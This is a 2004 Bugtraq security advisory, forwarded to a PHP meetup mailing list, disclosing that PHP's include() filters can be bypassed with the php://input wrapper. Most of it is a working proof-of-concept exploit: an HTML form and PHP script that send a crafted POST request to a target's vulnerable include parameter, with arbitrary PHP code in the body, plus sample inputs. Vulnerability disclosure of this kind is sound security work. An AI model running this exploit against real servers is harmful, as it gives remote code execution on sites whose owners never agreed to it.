NYCPHP Meetup

[Jon Baer]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



- -------- Original Message --------
Subject: [PHP] include() bypassing filter with php://input
Date: 27 May 2004 09:07:15 -0000
From: Himeur Nourredine <lostnoobs at security-challenge.com>
To: bugtraq at securityfocus.com



Informations :
°°°°°°°°°°°°°°
Website : http://www.php.net
Version : PHP 3.0.13 =>
Problem : Inlude() bypassing filter


Proof of concept:
°°°°°°°° Exploit °°°°°°°°°
<------------ cut here ---------------->
<form action="" methode="post" >
target server : <input type="text" name="server" ><br>
file : <input type="text" name="file" ><br>
exec : <input type="text" name="cmd" ><br>
<INPUT type="submit" value="send">
</form>

<?
if($cmd){
$message  = "POST /".$file."php://input HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message .= "Accept-Language: fr\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: deflate\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; MyIE2)\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen( $cmd )."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cache-Control: no-cache\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>
<------------ cut here ---------------->

target server = "www.exemple.com"
file = "index.php?page="
exec = "<? phpinfo(); ?>"

Explaination
°°°°°°°°°°°°°°
You can bypassing filter protection who parse http:// or ftp:// ...
"php://input" allows to put data in the function include() by sending a
request with code php in POST methode.


For More details :
°°°°°°°°°°°°°°
http://fr2.php.net/manual/en/wrappers.php.php
irc.fr.worldnet.net #s-c

Nourredine Himeur

www.security-challenge.com

This vulnerability was found by Slythers but he's too shy for publish
the vuln ;)

greetz : mum , daddy , tcpteam , Nyx





- --

pgp key: http://www.jonbaer.net/jonbaer.asc
fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFAtqH6Qdvbi5oMr0cRAqwjAKDedHzYYADJt9mTw1om5ayJbvdUsACdEQE9
kFkrvwLA5OOXsOoh4GxQjrM=
=2hyf
-----END PGP SIGNATURE-----